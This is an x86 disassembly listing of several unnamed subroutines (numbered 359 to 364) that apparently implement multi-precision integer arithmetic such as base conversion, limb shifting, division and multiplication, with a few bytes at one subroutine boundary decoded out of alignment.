08063d01  75 1d                    jne    08063d20 <Unknown0358+0x3c>
08063d03  c6 06 00                 movb   $0x0,(%esi)
08063d06  b8 01 00 00 00           mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08063d0b  e9 ac 01 00 00           jmp    08063ebc <Unknown0359+0x13d>  ;428 'xac x1 x0 x0' ""
08063d10  c6 06 00                 movb   $0x0,(%esi)
08063d13  2b 75 08                 sub    0x8(%ebp),%esi
08063d16  89 f0                    mov    %esi,%eax
08063d18  e9 9f 01 00 00           jmp    08063ebc <Unknown0359+0x13d>   ;415 'x9f x1 x0 x0' ""
08063d1d  8d 76 00                 lea    0x0(%esi),%esi
08063d20  8b 45 0c                 mov    0xc(%ebp),%eax
08063d23  48                       dec    %eax
08063d24  85 45 0c                 test   %eax,0xc(%ebp)
08063d27  0f 85 af 00 00 00        jne    08063ddc <Unknown0359+0x5d>   ;175 'xaf x0 x0 x0' ""
08063d2d  89 7d dc                 mov    %edi,0xffffffdc(%ebp)
08063d30  8b 45 14                 mov    0x14(%ebp),%eax
08063d33  8b 55 10                 mov    0x10(%ebp),%edx
08063d36  8b 44 82 fc              mov    0xfffffffc(%edx,%eax,4),%eax
08063d3a  89 45 e0                 mov    %eax,0xffffffe0(%ebp)
08063d3d  0f bd c0                 bsr    %eax,%eax
08063d40  83 f0 1f                 xor    $0x1f,%eax
08063d43  8b 4d 14                 mov    0x14(%ebp),%ecx
08063d46  c1 e1 05                 shl    $0x5,%ecx
08063d49  89 4d cc                 mov    %ecx,0xffffffcc(%ebp)
08063d4c  29 45 cc                 sub    %eax,0xffffffcc(%ebp)
08063d4f  8b 45 cc                 mov    0xffffffcc(%ebp),%eax
08063d52  99                       cltd
08063d53  f7 ff                    idiv   %edi
08063d55  89 d3                    mov    %edx,%ebx
08063d57  85 db                    test   %ebx,%ebx
08063d59  74 07                    je     08063d62 <Unknown0358+0x7e>
08063d5b  89 f8                    mov    %edi,%eax
08063d5d  29 d8                    sub    %ebx,%eax
08063d5f  01 45 cc                 add    %eax,0xffffffcc(%ebp)
08063d62  29 4d cc                 sub    %ecx,0xffffffcc(%ebp)
08063d65  8b 4d 14                 mov    0x14(%ebp),%ecx
08063d68  49                       dec    %ecx
08063d69  89 4d d8                 mov    %ecx,0xffffffd8(%ebp)
08063d6c  b8 01 00 00 00           mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08063d71  89 f9                    mov    %edi,%ecx
08063d73  d3 e0                    shl    %cl,%eax
08063d75  8b 5d cc                 mov    0xffffffcc(%ebp),%ebx
08063d78  8d 50 ff                 lea    0xffffffff(%eax),%edx
08063d7b  83 c3 20                 add    $0x20,%ebx
08063d7e  89 55 d4                 mov    %edx,0xffffffd4(%ebp)


     ;
     ; >---------------------<   Subroutine # 359 >---------------------<
     ;
08063d7f <Unknown0359>:
08063d7f  55                       push   %ebp
08063d80  d4 89                    aam    $0xffffff89
08063d82  c7 90 2b 5d dc 78 1b 8d 47 ff  movl   $0xff478d1b,0x78dc5d2b(%eax)   ;-12088037 'x1b x8d x47 xff'
                                                                                ""
08063d8c  88 45 d0                 mov    %al,0xffffffd0(%ebp)
08063d8f  90                       nop
08063d90  8b 55 e0                 mov    0xffffffe0(%ebp),%edx
08063d93  88 d9                    mov    %bl,%cl
08063d95  d3 ea                    shr    %cl,%edx
08063d97  8a 45 d0                 mov    0xffffffd0(%ebp),%al
08063d9a  21 d0                    and    %edx,%eax
08063d9c  88 06                    mov    %al,(%esi)
08063d9e  46                       inc    %esi
08063d9f  2b 5d dc                 sub    0xffffffdc(%ebp),%ebx
08063da2  79 ec                    jns    08063d90 <Unknown0359+0x11>
08063da4  ff 4d d8                 decl   0xffffffd8(%ebp)
08063da7  0f 88 63 ff ff ff        js     08063d10 <Unknown0358+0x2c>   ;-157 'x63 xff xff xff' "c"
08063dad  89 d9                    mov    %ebx,%ecx
08063daf  8b 45 e0                 mov    0xffffffe0(%ebp),%eax
08063db2  f7 d9                    neg    %ecx
```

```
08063db4  8b 55 d4              mov    0xffffffd4(%ebp),%edx
08063db7  d3 e0                 shl    %cl,%eax
08063db9  21 d0                 and    %edx,%eax
08063dbb  89 45 d0              mov    %eax,0xffffffd0(%ebp)
08063dbe  8b 55 10              mov    0x10(%ebp),%edx
08063dc1  8b 45 d8              mov    0xffffffd8(%ebp),%eax
08063dc4  83 c3 20              add    $0x20,%ebx
08063dc7  8b 04 82              mov    (%edx,%eax,4),%eax
08063dca  88 d9                 mov    %bl,%cl
08063dcc  89 45 e0              mov    %eax,0xffffffe0(%ebp)
08063dcf  d3 e8                 shr    %cl,%eax
08063dd1  0b 45 d0              or     0xffffffd0(%ebp),%eax
08063dd4  88 06                 mov    %al,(%esi)
08063dd6  46                    inc    %esi
08063dd7  eb ab                 jmp    08063d84 <Unknown0359+0x5>
08063dd9  8d 76 00              lea    0x0(%esi),%esi
08063ddc  8b 4d 0c              mov    0xc(%ebp),%ecx
08063ddf  c1 e1 04              shl    $0x4,%ecx
08063de2  8b 81 e0 57 07 08     mov    0x80757e0(%ecx),%eax   ;[in .rodata] 0 'x0 x0 x0 x0' ""
08063de8  31 d2                 xor    %edx,%edx
08063dea  89 45 e8              mov    %eax,0xffffffe8(%ebp)
08063ded  8b 45 14              mov    0x14(%ebp),%eax
08063df0  52                    push   %edx
08063df1  c1 e0 05              shl    $0x5,%eax
08063df4  50                    push   %eax
08063df5  df 2c 24              fildll (%esp,1)
08063df8  d8 89 e4 57 07 08     fmuls  0x80757e4(%ecx)   ;[in .rodata] 0 'x0 x0 x0 x0' ""
08063dfe  58                    pop    %eax
08063dff  d8 05 d8 57 07 08     fadds  0x80757d8   ;[in .rodata] 1065353216 'x0 x0 x80 x3f' ""
08063e05  5a                    pop    %edx
08063e06  d9 7d f0              fnstcw 0xfffffff0(%ebp)
08063e09  8b 55 f0              mov    0xfffffff0(%ebp),%edx
08063e0c  c6 45 f1 0c           movb   $0xc,0xfffffff1(%ebp)
08063e10  d9 6d f0              fldcw  0xfffffff0(%ebp)
08063e13  89 55 f0              mov    %edx,0xfffffff0(%ebp)
08063e16  db 5d e4              fistpl 0xffffffe4(%ebp)
08063e19  d9 6d f0              fldcw  0xfffffff0(%ebp)
08063e1c  8b 55 14              mov    0x14(%ebp),%edx
08063e1f  03 75 e4              add    0xffffffe4(%ebp),%esi
08063e22  85 d2                 test   %edx,%edx
08063e24  0f 84 8a 00 00 00     je     08063eb4 <Unknown0359+0x135>   ;138 'x8a x0 x0 x0' ""
08063e2a  89 f6                 mov    %esi,%esi
08063e2c  8b 5d 14              mov    0x14(%ebp),%ebx
08063e2f  4b                    dec    %ebx
08063e30  8b 45 10              mov    0x10(%ebp),%eax
08063e33  8b 0c 98              mov    (%eax,%ebx,4),%ecx
08063e36  39 f9                 cmp    %edi,%ecx
08063e38  72 06                 jb     08063e40 <Unknown0359+0xc1>
08063e3a  31 c9                 xor    %ecx,%ecx
08063e3c  eb 06                 jmp    08063e44 <Unknown0359+0xc5>
08063e3e  89 f6                 mov    %esi,%esi
08063e40  89 5d 14              mov    %ebx,0x14(%ebp)
08063e43  4b                    dec    %ebx
08063e44  85 db                 test   %ebx,%ebx
08063e46  78 15                 js     08063e5d <Unknown0359+0xde>
08063e48  8b 55 10              mov    0x10(%ebp),%edx
08063e4b  8b 04 9a              mov    (%edx,%ebx,4),%eax
08063e4e  89 ca                 mov    %ecx,%edx
08063e50  8b 4d 10              mov    0x10(%ebp),%ecx
08063e53  f7 f7                 div    %edi
08063e55  89 04 99              mov    %eax,(%ecx,%ebx,4)
08063e58  4b                    dec    %ebx
08063e59  89 d1                 mov    %edx,%ecx
08063e5b  79 eb                 jns    08063e48 <Unknown0359+0xc9>
08063e5d  8b 5d e8              mov    0xffffffe8(%ebp),%ebx
08063e60  4b                    dec    %ebx
08063e61  78 42                 js     08063ea5 <Unknown0359+0x126>
08063e63  89 c8                 mov    %ecx,%eax
08063e65  31 d2                 xor    %edx,%edx
08063e67  f7 75 0c              divl   0xc(%ebp)
08063e6a  4e                    dec    %esi
08063e6b  88 16                 mov    %dl,(%esi)
08063e6d  89 c8                 mov    %ecx,%eax
08063e6f  31 d2                 xor    %edx,%edx
08063e71  f7 75 0c              divl   0xc(%ebp)
08063e74  89 c1                 mov    %eax,%ecx
08063e76  85 c9                 test   %ecx,%ecx
08063e78  75 0a                 jne    08063e84 <Unknown0359+0x105>
08063e7a  8b 45 14              mov    0x14(%ebp),%eax
08063e7d  85 c0                 test   %eax,%eax
08063e7f  74 24                 je     08063ea5 <Unknown0359+0x126>
08063e81  8d 76 00              lea    0x0(%esi),%esi
08063e84  4b                    dec    %ebx
08063e85  78 1e                 js     08063ea5 <Unknown0359+0x126>
```

```
08063e87   89 c8                    mov     %ecx,%eax
08063e89   31 d2                    xor     %edx,%edx
08063e8b   f7 75 0c                 divl    0xc(%ebp)
08063e8e   4e                       dec     %esi
08063e8f   88 16                    mov     %dl,(%esi)
08063e91   89 c8                    mov     %ecx,%eax
08063e93   31 d2                    xor     %edx,%edx
08063e95   f7 75 0c                 divl    0xc(%ebp)
08063e98   89 c1                    mov     %eax,%ecx
08063e9a   85 c9                    test    %ecx,%ecx
08063e9c   75 e6                    jne     08063e84 <Unknown0359+0x105>
08063e9e   8b 55 14                 mov     0x14(%ebp),%edx
08063ea1   85 d2                    test    %edx,%edx
08063ea3   75 df                    jne     08063e84 <Unknown0359+0x105>
08063ea5   8b 45 14                 mov     0x14(%ebp),%eax
08063ea8   85 c0                    test    %eax,%eax
08063eaa   75 80                    jne     08063e2c <Unknown0359+0xad>
08063eac   eb 06                    jmp     08063eb4 <Unknown0359+0x135>
08063eae   89 f6                    mov     %esi,%esi
08063eb0   4e                       dec     %esi
08063eb1   c6 06 00                 movb    $0x0,(%esi)
08063eb4   3b 75 08                 cmp     0x8(%ebp),%esi
08063eb7   75 f7                    jne     08063eb0 <Unknown0359+0x131>
08063eb9   8b 45 e4                 mov     0xffffffe4(%ebp),%eax
08063ebc   83 c4 2c                 add     $0x2c,%esp
08063ebf   5b                       pop     %ebx
08063ec0   5e                       pop     %esi
08063ec1   5f                       pop     %edi
08063ec2   5d                       pop     %ebp
08063ec3   c3                       ret
08063ec4   90                       nop
08063ec5   90                       nop
08063ec6   90                       nop
08063ec7   90                       nop


   ;
   ; >---------------------<  Subroutine # 360 >---------------------<
   ;
08063ec8 <Unknown0360>:
08063ec8   57                       push    %edi
08063ec9   56                       push    %esi
08063eca   53                       push    %ebx
08063ecb   55                       push    %ebp
08063ecc   8b 7c 24 14              mov     0x14(%esp,1),%edi
08063ed0   8b 74 24 18              mov     0x18(%esp,1),%esi
08063ed4   8b 6c 24 1c              mov     0x1c(%esp,1),%ebp
08063ed8   8b 4c 24 20              mov     0x20(%esp,1),%ecx
08063edc   83 f9 01                 cmp     $0x1,%ecx
08063edf   75 16                    jne     08063ef7 <Unknown0360+0x2f>
08063ee1   8d 46 04                 lea     0x4(%esi),%eax
08063ee4   39 f8                    cmp     %edi,%eax
08063ee6   0f 83 9e 00 00 00        jae     08063f8a <Unknown0360+0xc2>   ;158 'x9e x0 x0 x0' ""
08063eec   8d 04 ae                 lea     (%esi,%ebp,4),%eax
08063eef   39 c7                    cmp     %eax,%edi
08063ef1   0f 83 93 00 00 00        jae     08063f8a <Unknown0360+0xc2>   ;147 'x93 x0 x0 x0' ""
08063ef7   8d 7c af fc              lea     0xfffffffc(%edi,%ebp,4),%edi
08063efb   8d 74 ae fc              lea     0xfffffffc(%esi,%ebp,4),%esi
08063eff   8b 16                    mov     (%esi),%edx
08063f01   83 ee 04                 sub     $0x4,%esi
08063f04   31 c0                    xor     %eax,%eax
08063f06   0f a5 d0                 shld    %cl,%edx,%eax
08063f09   50                       push    %eax
08063f0a   4d                       dec     %ebp
08063f0b   55                       push    %ebp
08063f0c   c1 ed 03                 shr     $0x3,%ebp
08063f0f   74 57                    je      08063f68 <Unknown0360+0xa0>
08063f11   8b 07                    mov     (%edi),%eax
08063f13   90                       nop
08063f14   8b 47 e4                 mov     0xffffffe4(%edi),%eax
08063f17   89 d3                    mov     %edx,%ebx
08063f19   8b 06                    mov     (%esi),%eax
08063f1b   8b 56 fc                 mov     0xfffffffc(%esi),%edx
08063f1e   0f a5 c3                 shld    %cl,%eax,%ebx
08063f21   0f a5 d0                 shld    %cl,%edx,%eax
08063f24   89 1f                    mov     %ebx,(%edi)
08063f26   89 47 fc                 mov     %eax,0xfffffffc(%edi)
08063f29   8b 5e f8                 mov     0xfffffff8(%esi),%ebx
08063f2c   8b 46 f4                 mov     0xfffffff4(%esi),%eax
08063f2f   0f a5 da                 shld    %cl,%ebx,%edx
08063f32   0f a5 c3                 shld    %cl,%eax,%ebx
08063f35   89 57 f8                 mov     %edx,0xfffffff8(%edi)
08063f38   89 5f f4                 mov     %ebx,0xfffffff4(%edi)
08063f3b   8b 56 f0                 mov     0xfffffff0(%esi),%edx
```

```
08063f3e  8b 5e ec        mov     0xffffffec(%esi),%ebx
08063f41  0f a5 d0        shld    %cl,%edx,%eax
08063f44  0f a5 da        shld    %cl,%ebx,%edx
08063f47  89 47 f0        mov     %eax,0xfffffff0(%edi)
08063f4a  89 57 ec        mov     %edx,0xffffffec(%edi)
08063f4d  8b 46 e8        mov     0xffffffe8(%esi),%eax
08063f50  8b 56 e4        mov     0xffffffe4(%esi),%edx
08063f53  0f a5 c3        shld    %cl,%eax,%ebx
08063f56  0f a5 d0        shld    %cl,%edx,%eax
08063f59  89 5f e8        mov     %ebx,0xffffffe8(%edi)
08063f5c  89 47 e4        mov     %eax,0xffffffe4(%edi)
08063f5f  83 ee 20        sub     $0x20,%esi
08063f62  83 ef 20        sub     $0x20,%edi
08063f65  4d              dec     %ebp
08063f66  75 ac           jne     08063f14 <Unknown0360+0x4c>
08063f68  5d              pop     %ebp
08063f69  83 e5 07        and     $0x7,%ebp
08063f6c  74 12           je      08063f80 <Unknown0360+0xb8>
08063f6e  8b 06           mov     (%esi),%eax
08063f70  0f a5 c2        shld    %cl,%eax,%edx
08063f73  89 17           mov     %edx,(%edi)
08063f75  89 c2           mov     %eax,%edx
08063f77  83 ee 04        sub     $0x4,%esi
08063f7a  83 ef 04        sub     $0x4,%edi
08063f7d  4d              dec     %ebp
08063f7e  75 ee           jne     08063f6e <Unknown0360+0xa6>
08063f80  d3 e2           shl     %cl,%edx
08063f82  89 17           mov     %edx,(%edi)
08063f84  58              pop     %eax
08063f85  5d              pop     %ebp
08063f86  5b              pop     %ebx
08063f87  5e              pop     %esi
08063f88  5f              pop     %edi
08063f89  c3              ret
08063f8a  8b 16           mov     (%esi),%edx
08063f8c  83 c6 04        add     $0x4,%esi
08063f8f  4d              dec     %ebp
08063f90  55              push    %ebp
08063f91  c1 ed 03        shr     $0x3,%ebp
08063f94  01 d2           add     %edx,%edx
08063f96  45              inc     %ebp
08063f97  4d              dec     %ebp
08063f98  74 4e           je      08063fe8 <Unknown0360+0x120>
08063f9a  8b 07           mov     (%edi),%eax
08063f9c  8b 47 1c        mov     0x1c(%edi),%eax
08063f9f  89 d3           mov     %edx,%ebx
08063fa1  8b 06           mov     (%esi),%eax
08063fa3  8b 56 04        mov     0x4(%esi),%edx
08063fa6  11 c0           adc     %eax,%eax
08063fa8  89 1f           mov     %ebx,(%edi)
08063faa  11 d2           adc     %edx,%edx
08063fac  89 47 04        mov     %eax,0x4(%edi)
08063faf  8b 5e 08        mov     0x8(%esi),%ebx
08063fb2  8b 46 0c        mov     0xc(%esi),%eax
08063fb5  11 db           adc     %ebx,%ebx
08063fb7  89 57 08        mov     %edx,0x8(%edi)
08063fba  11 c0           adc     %eax,%eax
08063fbc  89 5f 0c        mov     %ebx,0xc(%edi)
08063fbf  8b 56 10        mov     0x10(%esi),%edx
08063fc2  8b 5e 14        mov     0x14(%esi),%ebx
08063fc5  11 d2           adc     %edx,%edx
08063fc7  89 47 10        mov     %eax,0x10(%edi)
08063fca  11 db           adc     %ebx,%ebx
08063fcc  89 57 14        mov     %edx,0x14(%edi)
08063fcf  8b 46 18        mov     0x18(%esi),%eax
08063fd2  8b 56 1c        mov     0x1c(%esi),%edx
08063fd5  11 c0           adc     %eax,%eax
08063fd7  89 5f 18        mov     %ebx,0x18(%edi)
08063fda  11 d2           adc     %edx,%edx
08063fdc  89 47 1c        mov     %eax,0x1c(%edi)
08063fdf  8d 76 20        lea     0x20(%esi),%esi
08063fe2  8d 7f 20        lea     0x20(%edi),%edi
08063fe5  4d              dec     %ebp
08063fe6  75 b4           jne     08063f9c <Unknown0360+0xd4>
08063fe8  5d              pop     %ebp
08063fe9  19 c0           sbb     %eax,%eax
08063feb  83 e5 07        and     $0x7,%ebp
08063fee  74 15           je      08064005 <Unknown0360+0x13d>
08063ff0  01 c0           add     %eax,%eax
08063ff2  89 d3           mov     %edx,%ebx
08063ff4  8b 16           mov     (%esi),%edx
08063ff6  11 d2           adc     %edx,%edx
08063ff8  89 1f           mov     %ebx,(%edi)
08063ffa  8d 76 04        lea     0x4(%esi),%esi
```

```
08063ffd   8d 7f 04          lea      0x4(%edi),%edi
08064000   4d                dec      %ebp
08064001   75 ef             jne      08063ff2 <Unknown0360+0x12a>
08064003   eb 02             jmp      08064007 <Unknown0360+0x13f>
08064005   01 c0             add      %eax,%eax
08064007   89 17             mov      %edx,(%edi)
08064009   19 c0             sbb      %eax,%eax
0806400b   f7 d8             neg      %eax
0806400d   5d                pop      %ebp
0806400e   5b                pop      %ebx
0806400f   5e                pop      %esi
08064010   5f                pop      %edi
08064011   c3                ret
08064012   8d b6 00 00 00 00 lea      0x0(%esi),%esi   ;0 'x0 x0 x0 x0' ""


   ;
   ; >--------------------< Subroutine # 361 >--------------------<
   ;
08064018 <Unknown0361>:
08064018   55                push     %ebp
08064019   89 e5             mov      %esp,%ebp
0806401b   8b 45 0c          mov      0xc(%ebp),%eax
0806401e   56                push     %esi
0806401f   85 c0             test     %eax,%eax
08064021   53                push     %ebx
08064022   8b 75 08          mov      0x8(%ebp),%esi
08064025   8b 5d 10          mov      0x10(%ebp),%ebx
08064028   75 06             jne      08064030 <Unknown0361+0x18>
0806402a   31 c0             xor      %eax,%eax
0806402c   eb 24             jmp      08064052 <Unknown0361+0x3a>
0806402e   89 f6             mov      %esi,%esi
08064030   8d 48 ff          lea      0xffffffff(%eax),%ecx
08064033   8b 14 8e          mov      (%esi,%ecx,4),%edx
08064036   39 da             cmp      %ebx,%edx
08064038   72 06             jb       08064040 <Unknown0361+0x28>
0806403a   31 d2             xor      %edx,%edx
0806403c   eb 05             jmp      08064043 <Unknown0361+0x2b>
0806403e   89 f6             mov      %esi,%esi
08064040   8d 48 fe          lea      0xfffffffe(%eax),%ecx
08064043   85 c9             test     %ecx,%ecx
08064045   78 09             js       08064050 <Unknown0361+0x38>
08064047   90                nop
08064048   8b 04 8e          mov      (%esi,%ecx,4),%eax
0806404b   f7 f3             div      %ebx
0806404d   49                dec      %ecx
0806404e   79 f8             jns      08064048 <Unknown0361+0x30>
08064050   89 d0             mov      %edx,%eax
08064052   5b                pop      %ebx
08064053   5e                pop      %esi
08064054   5d                pop      %ebp
08064055   c3                ret
08064056   89 f6             mov      %esi,%esi


   ;
   ; >--------------------< Subroutine # 362 >--------------------<
   ;
08064058 <Unknown0362>:
08064058   57                push     %edi
08064059   56                push     %esi
0806405a   53                push     %ebx
0806405b   55                push     %ebp
0806405c   8b 7c 24 14       mov      0x14(%esp,1),%edi
08064060   8b 74 24 18       mov      0x18(%esp,1),%esi
08064064   8b 4c 24 1c       mov      0x1c(%esp,1),%ecx
08064068   8b 6c 24 20       mov      0x20(%esp,1),%ebp
0806406c   8d 3c 8f          lea      (%edi,%ecx,4),%edi
0806406f   8d 34 8e          lea      (%esi,%ecx,4),%esi
08064072   f7 d9             neg      %ecx
08064074   31 db             xor      %ebx,%ebx
08064076   89 f6             mov      %esi,%esi
08064078   83 d3 00          adc      $0x0,%ebx
0806407b   8b 04 8e          mov      (%esi,%ecx,4),%eax
0806407e   f7 e5             mul      %ebp
08064080   01 c3             add      %eax,%ebx
08064082   89 1c 8f          mov      %ebx,(%edi,%ecx,4)
08064085   41                inc      %ecx
08064086   89 d3             mov      %edx,%ebx
08064088   75 ee             jne      08064078 <Unknown0362+0x20>
0806408a   83 d3 00          adc      $0x0,%ebx
0806408d   89 d8             mov      %ebx,%eax
0806408f   5d                pop      %ebp
08064090   5b                pop      %ebx
```

```
08064091   5e                       pop     %esi
08064092   5f                       pop     %edi
08064093   c3                       ret
08064094   8d 74 26 00              lea     0x0(%esi,1),%esi


  ;
  ; >--------------------<  Subroutine # 363 >--------------------<
  ;
08064098 <Unknown0363>:
08064098   55                       push    %ebp
08064099   89 e5                    mov     %esp,%ebp
0806409b   57                       push    %edi
0806409c   56                       push    %esi
0806409d   53                       push    %ebx
0806409e   83 ec 0c                 sub     $0xc,%esp
080640a1   8b 45 10                 mov     0x10(%ebp),%eax
080640a4   8b 10                    mov     (%eax),%edx
080640a6   83 fa 01                 cmp     $0x1,%edx
080640a9   8b 5d 08                 mov     0x8(%ebp),%ebx
080640ac   8b 75 14                 mov     0x14(%ebp),%esi
080640af   77 33                    ja      080640e4 <Unknown0363+0x4c>
080640b1   4a                       dec     %edx
080640b2   75 18                    jne     080640cc <Unknown0363+0x34>
080640b4   31 d2                    xor     %edx,%edx
080640b6   39 f2                    cmp     %esi,%edx
080640b8   7d 26                    jge     080640e0 <Unknown0363+0x48>
080640ba   89 f6                    mov     %esi,%esi
080640bc   8b 4d 0c                 mov     0xc(%ebp),%ecx
080640bf   8b 04 91                 mov     (%ecx,%edx,4),%eax
080640c2   89 04 93                 mov     %eax,(%ebx,%edx,4)
080640c5   42                       inc     %edx
080640c6   39 f2                    cmp     %esi,%edx
080640c8   7c f2                    jl      080640bc <Unknown0363+0x24>
080640ca   eb 14                    jmp     080640e0 <Unknown0363+0x48>
080640cc   31 c0                    xor     %eax,%eax
080640ce   39 f0                    cmp     %esi,%eax
080640d0   7d 0e                    jge     080640e0 <Unknown0363+0x48>
080640d2   89 f6                    mov     %esi,%esi
080640d4   c7 04 83 00 00 00 00     movl    $0x0,(%ebx,%eax,4)   ;0 'x0 x0 x0 x0' ""
080640db   40                       inc     %eax
080640dc   39 f0                    cmp     %esi,%eax
080640de   7c f4                    jl      080640d4 <Unknown0363+0x3c>
080640e0   31 c0                    xor     %eax,%eax
080640e2   eb 0e                    jmp     080640f2 <Unknown0363+0x5a>
080640e4   52                       push    %edx
080640e5   56                       push    %esi
080640e6   ff 75 0c                 pushl   0xc(%ebp)
080640e9   53                       push    %ebx
080640ea   e8 69 ff ff ff           call    08064058 <Unknown0362>
080640ef   83 c4 10                 add     $0x10,%esp
080640f2   bf 01 00 00 00           mov     $0x1,%edi   ;1 'x1 x0 x0 x0' ""
080640f7   eb 32                    jmp     0806412b <Unknown0363+0x93>
080640f9   8d 76 00                 lea     0x0(%esi),%esi
080640fc   8b 45 10                 mov     0x10(%ebp),%eax
080640ff   8b 14 b8                 mov     (%eax,%edi,4),%edx
08064102   83 fa 01                 cmp     $0x1,%edx
08064105   77 15                    ja      0806411c <Unknown0363+0x84>
08064107   31 c0                    xor     %eax,%eax
08064109   4a                       dec     %edx
0806410a   75 1e                    jne     0806412a <Unknown0363+0x92>
0806410c   56                       push    %esi
0806410d   ff 75 0c                 pushl   0xc(%ebp)
08064110   53                       push    %ebx
08064111   53                       push    %ebx
08064112   e8 d1 ee ff ff           call    08062fe8 <Unknown0350>
08064117   eb 0e                    jmp     08064127 <Unknown0363+0x8f>
08064119   8d 76 00                 lea     0x0(%esi),%esi
0806411c   52                       push    %edx
0806411d   56                       push    %esi
0806411e   ff 75 0c                 pushl   0xc(%ebp)
08064121   53                       push    %ebx
08064122   e8 29 14 00 00           call    08065550 <Unknown0378>
08064127   83 c4 10                 add     $0x10,%esp
0806412a   47                       inc     %edi
0806412b   89 04 b3                 mov     %eax,(%ebx,%esi,4)
0806412e   83 c3 04                 add     $0x4,%ebx
08064131   39 f7                    cmp     %esi,%edi
08064133   7c c7                    jl      080640fc <Unknown0363+0x64>
08064135   8d 65 f4                 lea     0xfffffff4(%ebp),%esp
08064138   5b                       pop     %ebx
08064139   5e                       pop     %esi
0806413a   5f                       pop     %edi
0806413b   5d                       pop     %ebp
```

```
0806413c  c3                      ret
0806413d  8d 76 00                lea    0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 364 >--------------------<
  ;
08064140 <Unknown0364>:
08064140  55                      push   %ebp
08064141  89 e5                   mov    %esp,%ebp
08064143  57                      push   %edi
08064144  56                      push   %esi
08064145  53                      push   %ebx
08064146  83 ec 0c                sub    $0xc,%esp
08064149  f7 45 14 01 00 00 00    testl  $0x1,0x14(%ebp)   ;1 'x1 x0 x0 x0' ""
08064150  0f 84 a6 00 00 00       je     080641fc <Unknown0364+0xbc>   ;166 'xa6 x0 x0 x0' ""
08064156  8b 75 14                mov    0x14(%ebp),%esi
08064159  4e                      dec    %esi
0806415a  83 fe 1f                cmp    $0x1f,%esi
0806415d  7e 61                   jle    080641c0 <Unknown0364+0x80>
0806415f  83 ec 0c                sub    $0xc,%esp
08064162  ff 75 18                pushl  0x18(%ebp)
08064165  56                      push   %esi
08064166  ff 75 10                pushl  0x10(%ebp)
08064169  ff 75 0c                pushl  0xc(%ebp)
0806416c  ff 75 08                pushl  0x8(%ebp)
0806416f  e8 cc ff ff ff          call   08064140 <Unknown0364>
08064174  83 c4 20                add    $0x20,%esp
08064177  8b 45 10                mov    0x10(%ebp),%eax
0806417a  ff 34 b0                pushl  (%eax,%esi,4)
0806417d  56                      push   %esi
0806417e  8b 55 08                mov    0x8(%ebp),%edx
08064181  ff 75 0c                pushl  0xc(%ebp)
08064184  8d 1c b2                lea    (%edx,%esi,4),%ebx
08064187  53                      push   %ebx
08064188  e8 c3 13 00 00          call   08065550 <Unknown0378>
0806418d  89 c2                   mov    %eax,%edx
0806418f  8b 4d 08                mov    0x8(%ebp),%ecx
08064192  89 14 f1                mov    %edx,(%ecx,%esi,8)
08064195  8b 45 0c                mov    0xc(%ebp),%eax
08064198  ff 34 b0                pushl  (%eax,%esi,4)
0806419b  ff 75 14                pushl  0x14(%ebp)
0806419e  ff 75 10                pushl  0x10(%ebp)
080641a1  53                      push   %ebx
080641a2  e8 a9 13 00 00          call   08065550 <Unknown0378>
080641a7  8b 4d 14                mov    0x14(%ebp),%ecx
080641aa  89 c2                   mov    %eax,%edx
080641ac  8d 04 31                lea    (%ecx,%esi,1),%eax
080641af  8b 4d 08                mov    0x8(%ebp),%ecx
080641b2  89 14 81                mov    %edx,(%ecx,%eax,4)
080641b5  83 c4 20                add    $0x20,%esp
080641b8  e9 e6 02 00 00          jmp    080644a3 <Unknown0364+0x363>  ;742 'xe6 x2 x0 x0' ""
080641bd  8d 76 00                lea    0x0(%esi),%esi
080641c0  56                      push   %esi
080641c1  ff 75 10                pushl  0x10(%ebp)
080641c4  ff 75 0c                pushl  0xc(%ebp)
080641c7  ff 75 08                pushl  0x8(%ebp)
080641ca  e8 c9 fe ff ff          call   08064098 <Unknown0363>
080641cf  83 c4 10                add    $0x10,%esp
080641d2  eb a3                   jmp    08064177 <Unknown0364+0x37>
080641d4  8d 04 bd 00 00 00 00    lea    0x0(,%edi,4),%eax   ;0 'x0 x0 x0 x0' ""
080641db  8b 55 10                mov    0x10(%ebp),%edx
080641de  57                      push   %edi
080641df  01 c2                   add    %eax,%edx
080641e1  52                      push   %edx
080641e2  03 45 0c                add    0xc(%ebp),%eax
080641e5  8b 55 14                mov    0x14(%ebp),%edx
080641e8  8b 4d 08                mov    0x8(%ebp),%ecx
080641eb  50                      push   %eax
080641ec  8d 04 91                lea    (%ecx,%edx,4),%eax
080641ef  50                      push   %eax
080641f0  e8 a3 fe ff ff          call   08064098 <Unknown0363>
080641f5  83 c4 10                add    $0x10,%esp
080641f8  eb 36                   jmp    08064230 <Unknown0364+0xf0>
080641fa  89 f6                   mov    %esi,%esi
080641fc  8b 7d 14                mov    0x14(%ebp),%edi
080641ff  d1 ff                   sar    %edi
08064201  83 ff 1f                cmp    $0x1f,%edi
08064204  7e ce                   jle    080641d4 <Unknown0364+0x94>
08064206  83 ec 0c                sub    $0xc,%esp
08064209  ff 75 18                pushl  0x18(%ebp)
0806420c  8d 04 bd 00 00 00 00    lea    0x0(,%edi,4),%eax   ;0 'x0 x0 x0 x0' ""
08064213  8b 55 10                mov    0x10(%ebp),%edx
08064216  57                      push   %edi
```

```
08064217   01 c2                  add     %eax,%edx
08064219   52                     push    %edx
0806421a   03 45 0c               add     0xc(%ebp),%eax
0806421d   8b 55 14               mov     0x14(%ebp),%edx
08064220   8b 4d 08               mov     0x8(%ebp),%ecx
08064223   50                     push    %eax
08064224   8d 04 91               lea     (%ecx,%edx,4),%eax
08064227   50                     push    %eax
08064228   e8 13 ff ff ff         call    08064140 <Unknown0364>
0806422d   83 c4 20               add     $0x20,%esp
08064230   51                     push    %ecx
08064231   57                     push    %edi
08064232   8b 45 0c               mov     0xc(%ebp),%eax
08064235   ff 75 0c               pushl   0xc(%ebp)
08064238   8d 1c b8               lea     (%eax,%edi,4),%ebx
0806423b   53                     push    %ebx
0806423c   e8 5f ee ff ff         call    080630a0 <Unknown0351>
08064241   83 c4 10               add     $0x10,%esp
08064244   85 c0                  test    %eax,%eax
08064246   78 1c                  js      08064264 <Unknown0364+0x124>
08064248   57                     push    %edi
08064249   ff 75 0c               pushl   0xc(%ebp)
0806424c   53                     push    %ebx
0806424d   ff 75 08               pushl   0x8(%ebp)
08064250   e8 c3 0d 00 00         call    08065018 <Unknown0375>
08064255   83 c4 10               add     $0x10,%esp
